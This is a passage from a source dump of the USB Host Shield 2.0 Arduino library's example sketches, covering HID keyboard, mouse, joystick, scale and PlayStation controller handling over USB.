MouseRptParser::OnRightButtonDown (MOUSEINFO *mi) { Serial.println("R Butt Dn"); }; void MouseRptParser::OnMiddleButtonUp (MOUSEINFO *mi) { Serial.println("M Butt Up"); }; void MouseRptParser::OnMiddleButtonDown (MOUSEINFO *mi) { Serial.println("M Butt Dn"); }; class KbdRptParser : public KeyboardReportParser { void PrintKey(uint8_t mod, uint8_t key); protected: void OnControlKeysChanged(uint8_t before, uint8_t after); void OnKeyDown (uint8_t mod, uint8_t key); void OnKeyUp (uint8_t mod, uint8_t key); void OnKeyPressed(uint8_t key); }; void KbdRptParser::PrintKey(uint8_t m, uint8_t key) { MODIFIERKEYS mod; *((uint8_t*)&mod) = m; Serial.print((mod.bmLeftCtrl == 1) ? "C" : " "); Serial.print((mod.bmLeftShift == 1) ? "S" : " "); Serial.print((mod.bmLeftAlt == 1) ? "A" : " "); Serial.print((mod.bmLeftGUI == 1) ? "G" : " "); Serial.print(" >"); PrintHex(key, 0x80); Serial.print("< "); Serial.print((mod.bmRightCtrl == 1) ? "C" : " "); Serial.print((mod.bmRightShift == 1) ? "S" : " "); Serial.print((mod.bmRightAlt == 1) ? "A" : " "); Serial.println((mod.bmRightGUI == 1) ? "G" : " "); }; void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) { Serial.print("DN "); PrintKey(mod, key); uint8_t c = OemToAscii(mod, key); if (c) OnKeyPressed(c); } void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) { MODIFIERKEYS beforeMod; *((uint8_t*)&beforeMod) = before; MODIFIERKEYS afterMod; *((uint8_t*)&afterMod) = after; if (beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl) { Serial.println("LeftCtrl changed"); } if (beforeMod.bmLeftShift != afterMod.bmLeftShift) { Serial.println("LeftShift changed"); } if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt) { Serial.println("LeftAlt changed"); } if (beforeMod.bmLeftGUI != afterMod.bmLeftGUI) { Serial.println("LeftGUI changed"); } if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl) { Serial.println("RightCtrl changed"); } if (beforeMod.bmRightShift != afterMod.bmRightShift) { Serial.println("RightShift changed"); } if (beforeMod.bmRightAlt != afterMod.bmRightAlt) { Serial.println("RightAlt changed"); } if (beforeMod.bmRightGUI != afterMod.bmRightGUI) { Serial.println("RightGUI changed"); } } void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) { Serial.print("UP "); PrintKey(mod, key); } void KbdRptParser::OnKeyPressed(uint8_t key) { Serial.print("ASCII: "); Serial.println((char)key); }; USB Usb; USBHub Hub(&Usb); HIDBoot < USB_HID_PROTOCOL_KEYBOARD | USB_HID_PROTOCOL_MOUSE > HidComposite(&Usb); HIDBoot HidKeyboard(&Usb); HIDBoot HidMouse(&Usb); KbdRptParser KbdPrs; MouseRptParser MousePrs; void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); delay( 200 ); HidComposite.SetReportParser(0, &KbdPrs); HidComposite.SetReportParser(1, &MousePrs); HidKeyboard.SetReportParser(0, &KbdPrs); HidMouse.SetReportParser(0, &MousePrs); } void loop() { Usb.Task(); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/USBHIDBootMouse/USBHIDBootMouse.ino ================================================ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include class MouseRptParser : public MouseReportParser { protected: void OnMouseMove (MOUSEINFO *mi); void OnLeftButtonUp (MOUSEINFO *mi); void OnLeftButtonDown (MOUSEINFO *mi); void OnRightButtonUp (MOUSEINFO *mi); void OnRightButtonDown (MOUSEINFO *mi); void OnMiddleButtonUp (MOUSEINFO *mi); void OnMiddleButtonDown (MOUSEINFO *mi); }; void MouseRptParser::OnMouseMove(MOUSEINFO *mi) { Serial.print("dx="); Serial.print(mi->dX, DEC); Serial.print(" dy="); Serial.println(mi->dY, DEC); }; void MouseRptParser::OnLeftButtonUp (MOUSEINFO *mi) { Serial.println("L Butt Up"); }; void MouseRptParser::OnLeftButtonDown (MOUSEINFO *mi) { Serial.println("L Butt Dn"); }; void MouseRptParser::OnRightButtonUp (MOUSEINFO *mi) { Serial.println("R Butt Up"); }; void MouseRptParser::OnRightButtonDown (MOUSEINFO *mi) { Serial.println("R Butt Dn"); }; void MouseRptParser::OnMiddleButtonUp (MOUSEINFO *mi) { Serial.println("M Butt Up"); }; void MouseRptParser::OnMiddleButtonDown (MOUSEINFO *mi) { Serial.println("M Butt Dn"); }; USB Usb; USBHub Hub(&Usb); HIDBoot HidMouse(&Usb); MouseRptParser Prs; void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); delay( 200 ); HidMouse.SetReportParser(0, &Prs); } void loop() { Usb.Task(); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/USBHIDJoystick/USBHIDJoystick.ino ================================================ #include #include #include // Satisfy IDE, which only needs to see the include statment in the ino. #ifdef dobogusinclude #include #endif #include #include "hidjoystickrptparser.h" USB Usb; USBHub Hub(&Usb); HIDUniversal Hid(&Usb); JoystickEvents JoyEvents; JoystickReportParser Joy(&JoyEvents); void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); delay(200); if (!Hid.SetReportParser(0, &Joy)) ErrorMessage (PSTR("SetReportParser"), 1); } void loop() { Usb.Task(); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/USBHIDJoystick/hidjoystickrptparser.cpp ================================================ #include "hidjoystickrptparser.h" JoystickReportParser::JoystickReportParser(JoystickEvents *evt) : joyEvents(evt), oldHat(0xDE), oldButtons(0) { for (uint8_t i = 0; i < RPT_GEMEPAD_LEN; i++) oldPad[i] = 0xD; } void JoystickReportParser::Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf) { bool match = true; // Checking if there are changes in report since the method was last called for (uint8_t i = 0; i < RPT_GEMEPAD_LEN; i++) if (buf[i] != oldPad[i]) { match = false; break; } // Calling Game Pad event handler if (!match && joyEvents) { joyEvents->OnGamePadChanged((const GamePadEventData*)buf); for (uint8_t i = 0; i < RPT_GEMEPAD_LEN; i++) oldPad[i] = buf[i]; } uint8_t hat = (buf[5] & 0xF); // Calling Hat Switch event handler if (hat != oldHat && joyEvents) { joyEvents->OnHatSwitch(hat); oldHat = hat; } uint16_t buttons = (0x0000 | buf[6]); buttons <<= 4; buttons |= (buf[5] >> 4); uint16_t changes = (buttons ^ oldButtons); // Calling Button Event Handler for every button changed if (changes) { for (uint8_t i = 0; i < 0x0C; i++) { uint16_t mask = (0x0001 << i); if (((mask & changes) > 0) && joyEvents) { if ((buttons & mask) > 0) joyEvents->OnButtonDn(i + 1); else joyEvents->OnButtonUp(i + 1); } } oldButtons = buttons; } } void JoystickEvents::OnGamePadChanged(const GamePadEventData *evt) { Serial.print("X1: "); PrintHex (evt->X, 0x80); Serial.print("\tY1: "); PrintHex (evt->Y, 0x80); Serial.print("\tX2: "); PrintHex (evt->Z1, 0x80); Serial.print("\tY2: "); PrintHex (evt->Z2, 0x80); Serial.print("\tRz: "); PrintHex (evt->Rz, 0x80); Serial.println(""); } void JoystickEvents::OnHatSwitch(uint8_t hat) { Serial.print("Hat Switch: "); PrintHex (hat, 0x80); Serial.println(""); } void JoystickEvents::OnButtonUp(uint8_t but_id) { Serial.print("Up: "); Serial.println(but_id, DEC); } void JoystickEvents::OnButtonDn(uint8_t but_id) { Serial.print("Dn: "); Serial.println(but_id, DEC); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/USBHIDJoystick/hidjoystickrptparser.h ================================================ #if !defined(__HIDJOYSTICKRPTPARSER_H__) #define __HIDJOYSTICKRPTPARSER_H__ #include struct GamePadEventData { uint8_t X, Y, Z1, Z2, Rz; }; class JoystickEvents { public: virtual void OnGamePadChanged(const GamePadEventData *evt); virtual void OnHatSwitch(uint8_t hat); virtual void OnButtonUp(uint8_t but_id); virtual void OnButtonDn(uint8_t but_id); }; #define RPT_GEMEPAD_LEN 5 class JoystickReportParser : public HIDReportParser { JoystickEvents *joyEvents; uint8_t oldPad[RPT_GEMEPAD_LEN]; uint8_t oldHat; uint16_t oldButtons; public: JoystickReportParser(JoystickEvents *evt); virtual void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf); }; #endif // __HIDJOYSTICKRPTPARSER_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/USBHIDMultimediaKbd/USBHIDMultimediaKbd.ino ================================================ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include // Override HIDComposite to be able to select which interface we want to hook into class HIDSelector : public HIDComposite { public: HIDSelector(USB *p) : HIDComposite(p) {}; protected: void ParseHIDData(USBHID *hid, uint8_t ep, bool is_rpt_id, uint8_t len, uint8_t *buf); // Called by the HIDComposite library bool SelectInterface(uint8_t iface, uint8_t proto); }; // Return true for the interface we want to hook into bool HIDSelector::SelectInterface(uint8_t iface, uint8_t proto) { if (proto != 0) return true; return false; } // Will be called for all HID data received from the USB interface void HIDSelector::ParseHIDData(USBHID *hid, uint8_t ep, bool is_rpt_id, uint8_t len, uint8_t *buf) { #if 1 if (len && buf) { Notify(PSTR("\r\n"), 0x80); for (uint8_t i = 0; i < len; i++) { D_PrintHex (buf[i], 0x80); Notify(PSTR(" "), 0x80); } } #endif } USB Usb; //USBHub Hub(&Usb); HIDSelector hidSelector(&Usb); void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); // Set this to higher values to enable more debug information // minimum 0x00, maximum 0xff, default 0x80 UsbDEBUGlvl = 0xff; delay( 200 ); } void loop() { Usb.Task(); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/USBHID_desc/USBHID_desc.ino ================================================ #include #include #include #include #include "pgmstrings.h" // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include class HIDUniversal2 : public HIDUniversal { public: HIDUniversal2(USB *usb) : HIDUniversal(usb) {}; protected: uint8_t OnInitSuccessful(); }; uint8_t HIDUniversal2::OnInitSuccessful() { uint8_t rcode; HexDumper Hex; ReportDescParser Rpt; if ((rcode = GetReportDescr(0, &Hex))) goto FailGetReportDescr1; if ((rcode = GetReportDescr(0, &Rpt))) goto FailGetReportDescr2; return 0; FailGetReportDescr1: USBTRACE("GetReportDescr1:"); goto Fail; FailGetReportDescr2: USBTRACE("GetReportDescr2:"); goto Fail; Fail: Serial.println(rcode, HEX); Release(); return rcode; } USB Usb; //USBHub Hub(&Usb); HIDUniversal2 Hid(&Usb); UniversalReportParser Uni; void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); delay( 200 ); if (!Hid.SetReportParser(0, &Uni)) ErrorMessage(PSTR("SetReportParser"), 1 ); } void loop() { Usb.Task(); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/USBHID_desc/pgmstrings.h ================================================ #if !defined(__PGMSTRINGS_H__) #define __PGMSTRINGS_H__ #define LOBYTE(x) ((char*)(&(x)))[0] #define HIBYTE(x) ((char*)(&(x)))[1] #define BUFSIZE 256 //buffer size /* Print strings in Program Memory */ const char Gen_Error_str[] PROGMEM = "\r\nRequest error. Error code:\t"; const char Dev_Header_str[] PROGMEM ="\r\nDevice descriptor: "; const char Dev_Length_str[] PROGMEM ="\r\nDescriptor Length:\t"; const char Dev_Type_str[] PROGMEM ="\r\nDescriptor type:\t"; const char Dev_Version_str[] PROGMEM ="\r\nUSB version:\t\t"; const char Dev_Class_str[] PROGMEM ="\r\nDevice class:\t\t"; const char Dev_Subclass_str[] PROGMEM ="\r\nDevice Subclass:\t"; const char Dev_Protocol_str[] PROGMEM ="\r\nDevice Protocol:\t"; const char Dev_Pktsize_str[] PROGMEM ="\r\nMax.packet size:\t"; const char Dev_Vendor_str[] PROGMEM ="\r\nVendor ID:\t\t"; const char Dev_Product_str[] PROGMEM ="\r\nProduct ID:\t\t"; const char Dev_Revision_str[] PROGMEM ="\r\nRevision ID:\t\t"; const char Dev_Mfg_str[] PROGMEM ="\r\nMfg.string index:\t"; const char Dev_Prod_str[] PROGMEM ="\r\nProd.string index:\t"; const char Dev_Serial_str[] PROGMEM ="\r\nSerial number index:\t"; const char Dev_Nconf_str[] PROGMEM ="\r\nNumber of conf.:\t"; const char Conf_Trunc_str[] PROGMEM ="Total length truncated to 256 bytes"; const char Conf_Header_str[] PROGMEM ="\r\nConfiguration descriptor:"; const char Conf_Totlen_str[] PROGMEM ="\r\nTotal length:\t\t"; const char Conf_Nint_str[] PROGMEM ="\r\nNum.intf:\t\t"; const char Conf_Value_str[] PROGMEM ="\r\nConf.value:\t\t"; const char Conf_String_str[] PROGMEM ="\r\nConf.string:\t\t"; const char Conf_Attr_str[] PROGMEM ="\r\nAttr.:\t\t\t"; const char Conf_Pwr_str[] PROGMEM ="\r\nMax.pwr:\t\t"; const char Int_Header_str[] PROGMEM ="\r\n\r\nInterface descriptor:"; const char Int_Number_str[] PROGMEM ="\r\nIntf.number:\t\t"; const char Int_Alt_str[] PROGMEM ="\r\nAlt.:\t\t\t"; const char Int_Endpoints_str[] PROGMEM ="\r\nEndpoints:\t\t"; const char Int_Class_str[] PROGMEM ="\r\nIntf. Class:\t\t"; const char Int_Subclass_str[] PROGMEM ="\r\nIntf. Subclass:\t\t"; const char Int_Protocol_str[] PROGMEM ="\r\nIntf. Protocol:\t\t"; const char Int_String_str[] PROGMEM ="\r\nIntf.string:\t\t"; const char End_Header_str[] PROGMEM ="\r\n\r\nEndpoint descriptor:"; const char End_Address_str[] PROGMEM ="\r\nEndpoint address:\t"; const char End_Attr_str[] PROGMEM ="\r\nAttr.:\t\t\t"; const char End_Pktsize_str[] PROGMEM ="\r\nMax.pkt size:\t\t"; const char End_Interval_str[] PROGMEM ="\r\nPolling interval:\t"; const char Unk_Header_str[] PROGMEM = "\r\nUnknown descriptor:"; const char Unk_Length_str[] PROGMEM ="\r\nLength:\t\t"; const char Unk_Type_str[] PROGMEM ="\r\nType:\t\t"; const char Unk_Contents_str[] PROGMEM ="\r\nContents:\t"; #endif // __PGMSTRINGS_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/le3dp/le3dp.ino ================================================ /* Simplified Logitech Extreme 3D Pro Joystick Report Parser */ #include #include #include #include "le3dp_rptparser.h" // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; USBHub Hub(&Usb); HIDUniversal Hid(&Usb); JoystickEvents JoyEvents; JoystickReportParser Joy(&JoyEvents); void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); delay( 200 ); if (!Hid.SetReportParser(0, &Joy)) ErrorMessage(PSTR("SetReportParser"), 1 ); } void loop() { Usb.Task(); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/le3dp/le3dp_rptparser.cpp ================================================ #include "le3dp_rptparser.h" JoystickReportParser::JoystickReportParser(JoystickEvents *evt) : joyEvents(evt) {} void JoystickReportParser::Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf) { bool match = true; // Checking if there are changes in report since the method was last called for (uint8_t i=0; iOnGamePadChanged((const GamePadEventData*)buf); for (uint8_t i=0; i(evt->x, 0x80); Serial.print(" Y: "); PrintHex(evt->y, 0x80); Serial.print(" Hat Switch: "); PrintHex(evt->hat, 0x80); Serial.print(" Twist: "); PrintHex(evt->twist, 0x80); Serial.print(" Slider: "); PrintHex(evt->slider, 0x80); Serial.print(" Buttons A: "); PrintHex(evt->buttons_a, 0x80); Serial.print(" Buttons B: "); PrintHex(evt->buttons_b, 0x80); Serial.println(""); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/le3dp/le3dp_rptparser.h ================================================ #if !defined(__HIDJOYSTICKRPTPARSER_H__) #define __HIDJOYSTICKRPTPARSER_H__ #include struct GamePadEventData { union { //axes and hut switch uint32_t axes; struct { uint32_t x : 10; uint32_t y : 10; uint32_t hat : 4; uint32_t twist : 8; }; }; uint8_t buttons_a; uint8_t slider; uint8_t buttons_b; }; class JoystickEvents { public: virtual void OnGamePadChanged(const GamePadEventData *evt); }; #define RPT_GAMEPAD_LEN sizeof(GamePadEventData)/sizeof(uint8_t) class JoystickReportParser : public HIDReportParser { JoystickEvents *joyEvents; uint8_t oldPad[RPT_GAMEPAD_LEN]; public: JoystickReportParser(JoystickEvents *evt); virtual void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf); }; #endif // __HIDJOYSTICKRPTPARSER_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/scale/scale.ino ================================================ /* Digital Scale Output. Written for Stamps.com Model 510 */ /* 5lb Digital Scale; any HID scale with Usage page 0x8d should work */ #include #include #include #include "scale_rptparser.h" // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; USBHub Hub(&Usb); HIDUniversal Hid(&Usb); Max_LCD LCD(&Usb); ScaleEvents ScaleEvents(&LCD); ScaleReportParser Scale(&ScaleEvents); void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); // set up the LCD's number of rows and columns: LCD.begin(16, 2); LCD.clear(); LCD.home(); LCD.setCursor(0,0); LCD.write('R'); delay( 200 ); if (!Hid.SetReportParser(0, &Scale)) ErrorMessage(PSTR("SetReportParser"), 1 ); } void loop() { Usb.Task(); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/scale/scale_rptparser.cpp ================================================ /* Parser for standard HID scale (usage page 0x8d) data input report (ID 3) */ #ifdef ARDUINO_SAM_DUE #include #endif #include "scale_rptparser.h" const char* UNITS[13] = { "units", // unknown unit "mg", // milligram "g", // gram "kg", // kilogram "cd", // carat "taels", // lian "gr", // grain "dwt", // pennyweight "tonnes", // metric tons "tons", // avoir ton "ozt", // troy ounce "oz", // ounce "lbs" // pound }; ScaleReportParser::ScaleReportParser(ScaleEvents *evt) : scaleEvents(evt) {} void ScaleReportParser::Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf) { bool match = true; // Checking if there are changes in report since the method was last called for (uint8_t i=0; iOnScaleChanged((const ScaleEventData*)buf); for (uint8_t i=0; iwrite( *str++ ); } } void ScaleEvents::OnScaleChanged(const ScaleEventData *evt) { pLcd->clear(); pLcd->home(); pLcd->setCursor(0,0); if( evt->reportID != 3 ) { const char inv_report[]="Invalid report!"; Serial.println(inv_report); LcdPrint(inv_report); return; }//if( evt->reportID != 3... switch( evt->status ) { case REPORT_FAULT: Serial.println(F("Report fault")); break; case ZEROED: Serial.println(F("Scale zero set")); break; case WEIGHING: { const char progress[] = "Weighing..."; Serial.println(progress); LcdPrint(progress); break; } case WEIGHT_VALID: { char buf[10]; double weight = evt->weight * pow( 10, evt->exp ); Serial.print(F("Weight: ")); Serial.print( weight ); Serial.print(F(" ")); Serial.println( UNITS[ evt->unit ]); LcdPrint("Weight: "); dtostrf( weight, 4, 2, buf ); LcdPrint( buf ); LcdPrint( UNITS[ evt->unit ]); break; }//case WEIGHT_VALID... case WEIGHT_NEGATIVE: { const char negweight[] = "Negative weight"; Serial.println(negweight); LcdPrint(negweight); break; } case OVERWEIGHT: { const char overweight[] = "Max.weight reached"; Serial.println(overweight); LcdPrint( overweight ); break; } case CALIBRATE_ME: Serial.println(F("Scale calibration required")); break; case ZERO_ME: Serial.println(F("Scale zeroing required")); break; default: Serial.print(F("Undefined status code: ")); Serial.println( evt->status ); break; }//switch( evt->status... } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/scale/scale_rptparser.h ================================================ #if !defined(__SCALERPTPARSER_H__) #define __SCALERPTPARSER_H__ #include #include /* Scale status constants */ #define REPORT_FAULT 0x01 #define ZEROED 0x02 #define WEIGHING 0x03 #define WEIGHT_VALID 0x04 #define WEIGHT_NEGATIVE 0x05 #define OVERWEIGHT 0x06 #define CALIBRATE_ME 0x07 #define ZERO_ME 0x08 /* input data report */ struct ScaleEventData { uint8_t reportID; //must be 3 uint8_t status; uint8_t unit; int8_t exp; //scale factor for the weight uint16_t weight; // }; class ScaleEvents { Max_LCD* pLcd; void LcdPrint( const char* str ); public: ScaleEvents( Max_LCD* pLCD ); virtual void OnScaleChanged(const ScaleEventData *evt); }; #define RPT_SCALE_LEN sizeof(ScaleEventData)/sizeof(uint8_t) class ScaleReportParser : public HIDReportParser { ScaleEvents *scaleEvents; uint8_t oldScale[RPT_SCALE_LEN]; public: ScaleReportParser(ScaleEvents *evt); virtual void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf); }; #endif // __SCALERPTPARSER_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/PS3USB/PS3USB.ino ================================================ /* Example sketch for the PS3 USB library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; /* You can create the instance of the class in two ways */ PS3USB PS3(&Usb); // This will just create the instance //PS3USB PS3(&Usb,0x00,0x15,0x83,0x3D,0x0A,0x57); // This will also store the bluetooth address - this can be obtained from the dongle when running the sketch bool printAngle; uint8_t state = 0; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nPS3 USB Library Started")); } void loop() { Usb.Task(); if (PS3.PS3Connected || PS3.PS3NavigationConnected) { if (PS3.getAnalogHat(LeftHatX) > 137 || PS3.getAnalogHat(LeftHatX) < 117 || PS3.getAnalogHat(LeftHatY) > 137 || PS3.getAnalogHat(LeftHatY) < 117 || PS3.getAnalogHat(RightHatX) > 137 || PS3.getAnalogHat(RightHatX) < 117 || PS3.getAnalogHat(RightHatY) > 137 || PS3.getAnalogHat(RightHatY) < 117) { Serial.print(F("\r\nLeftHatX: ")); Serial.print(PS3.getAnalogHat(LeftHatX)); Serial.print(F("\tLeftHatY: ")); Serial.print(PS3.getAnalogHat(LeftHatY)); if (PS3.PS3Connected) { // The Navigation controller only have one joystick Serial.print(F("\tRightHatX: ")); Serial.print(PS3.getAnalogHat(RightHatX)); Serial.print(F("\tRightHatY: ")); Serial.print(PS3.getAnalogHat(RightHatY)); } } // Analog button values can be read from almost all buttons if (PS3.getAnalogButton(L2) || PS3.getAnalogButton(R2)) { Serial.print(F("\r\nL2: ")); Serial.print(PS3.getAnalogButton(L2)); if (!PS3.PS3NavigationConnected) { Serial.print(F("\tR2: ")); Serial.print(PS3.getAnalogButton(R2)); } } if (PS3.getButtonClick(PS)) Serial.print(F("\r\nPS")); if (PS3.getButtonClick(TRIANGLE)) Serial.print(F("\r\nTraingle")); if (PS3.getButtonClick(CIRCLE)) Serial.print(F("\r\nCircle")); if (PS3.getButtonClick(CROSS)) Serial.print(F("\r\nCross")); if (PS3.getButtonClick(SQUARE)) Serial.print(F("\r\nSquare")); if (PS3.getButtonClick(UP)) { Serial.print(F("\r\nUp")); PS3.setLedOff(); PS3.setLedOn(LED4); } if (PS3.getButtonClick(RIGHT)) { Serial.print(F("\r\nRight")); PS3.setLedOff(); PS3.setLedOn(LED1); } if (PS3.getButtonClick(DOWN)) { Serial.print(F("\r\nDown")); PS3.setLedOff(); PS3.setLedOn(LED2); } if (PS3.getButtonClick(LEFT)) { Serial.print(F("\r\nLeft")); PS3.setLedOff(); PS3.setLedOn(LED3); } if (PS3.getButtonClick(L1)) Serial.print(F("\r\nL1")); if (PS3.getButtonClick(L3)) Serial.print(F("\r\nL3")); if (PS3.getButtonClick(R1)) Serial.print(F("\r\nR1")); if (PS3.getButtonClick(R3)) Serial.print(F("\r\nR3")); if (PS3.getButtonClick(SELECT)) { Serial.print(F("\r\nSelect - ")); PS3.printStatusString(); } if (PS3.getButtonClick(START)) { Serial.print(F("\r\nStart")); printAngle = !printAngle; } if (printAngle) { Serial.print(F("\r\nPitch: ")); Serial.print(PS3.getAngle(Pitch)); Serial.print(F("\tRoll: ")); Serial.print(PS3.getAngle(Roll)); } } else if (PS3.PS3MoveConnected) { // One can only set the color of the bulb, set the rumble, set and get the bluetooth address and calibrate the magnetometer via USB if (state == 0) { PS3.moveSetRumble(0); PS3.moveSetBulb(Off); } else if (state == 1) { PS3.moveSetRumble(75); PS3.moveSetBulb(Red); } else if (state == 2) { PS3.moveSetRumble(125); PS3.moveSetBulb(Green); } else if (state == 3) { PS3.moveSetRumble(150); PS3.moveSetBulb(Blue); } else if (state == 4) { PS3.moveSetRumble(175); PS3.moveSetBulb(Yellow); } else if (state == 5) { PS3.moveSetRumble(200); PS3.moveSetBulb(Lightblue); } else if (state == 6) { PS3.moveSetRumble(225); PS3.moveSetBulb(Purple); } else if (state == 7) { PS3.moveSetRumble(250); PS3.moveSetBulb(White); } state++; if (state > 7) state = 0; delay(1000); } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/PS4USB/PS4USB.ino ================================================ /* Example sketch for the PS4 USB library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; PS4USB PS4(&Usb); bool printAngle, printTouch; uint8_t oldL2Value, oldR2Value; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); // Halt } Serial.print(F("\r\nPS4 USB Library Started")); } void loop() { Usb.Task(); if (PS4.connected()) { if (PS4.getAnalogHat(LeftHatX) > 137 || PS4.getAnalogHat(LeftHatX) < 117 || PS4.getAnalogHat(LeftHatY) > 137 || PS4.getAnalogHat(LeftHatY) < 117 || PS4.getAnalogHat(RightHatX) > 137 || PS4.getAnalogHat(RightHatX) < 117 || PS4.getAnalogHat(RightHatY) > 137 || PS4.getAnalogHat(RightHatY) < 117) { Serial.print(F("\r\nLeftHatX: ")); Serial.print(PS4.getAnalogHat(LeftHatX)); Serial.print(F("\tLeftHatY: ")); Serial.print(PS4.getAnalogHat(LeftHatY)); Serial.print(F("\tRightHatX: ")); Serial.print(PS4.getAnalogHat(RightHatX)); Serial.print(F("\tRightHatY: ")); Serial.print(PS4.getAnalogHat(RightHatY)); } if (PS4.getAnalogButton(L2) || PS4.getAnalogButton(R2)) { // These are the only analog buttons on the PS4 controller Serial.print(F("\r\nL2: ")); Serial.print(PS4.getAnalogButton(L2)); Serial.print(F("\tR2: ")); Serial.print(PS4.getAnalogButton(R2)); } if (PS4.getAnalogButton(L2) != oldL2Value || PS4.getAnalogButton(R2) != oldR2Value) // Only write value if it's different PS4.setRumbleOn(PS4.getAnalogButton(L2), PS4.getAnalogButton(R2)); oldL2Value = PS4.getAnalogButton(L2); oldR2Value = PS4.getAnalogButton(R2); if (PS4.getButtonClick(PS)) Serial.print(F("\r\nPS")); if (PS4.getButtonClick(TRIANGLE)) { Serial.print(F("\r\nTraingle")); PS4.setRumbleOn(RumbleLow); } if (PS4.getButtonClick(CIRCLE)) { Serial.print(F("\r\nCircle")); PS4.setRumbleOn(RumbleHigh); } if (PS4.getButtonClick(CROSS)) { Serial.print(F("\r\nCross")); PS4.setLedFlash(10, 10); // Set it to blink rapidly } if (PS4.getButtonClick(SQUARE)) { Serial.print(F("\r\nSquare")); PS4.setLedFlash(0, 0); // Turn off blinking } if (PS4.getButtonClick(UP)) { Serial.print(F("\r\nUp")); PS4.setLed(Red); } if (PS4.getButtonClick(RIGHT)) { Serial.print(F("\r\nRight")); PS4.setLed(Blue); } if (PS4.getButtonClick(DOWN)) { Serial.print(F("\r\nDown")); PS4.setLed(Yellow); } if (PS4.getButtonClick(LEFT)) { Serial.print(F("\r\nLeft")); PS4.setLed(Green); } if (PS4.getButtonClick(L1)) Serial.print(F("\r\nL1")); if (PS4.getButtonClick(L3)) Serial.print(F("\r\nL3")); if (PS4.getButtonClick(R1)) Serial.print(F("\r\nR1")); if (PS4.getButtonClick(R3)) Serial.print(F("\r\nR3")); if (PS4.getButtonClick(SHARE)) Serial.print(F("\r\nShare")); if (PS4.getButtonClick(OPTIONS)) { Serial.print(F("\r\nOptions")); printAngle = !printAngle; } if (PS4.getButtonClick(TOUCHPAD)) { Serial.print(F("\r\nTouchpad")); printTouch = !printTouch; } if (printAngle) { // Print angle calculated using the 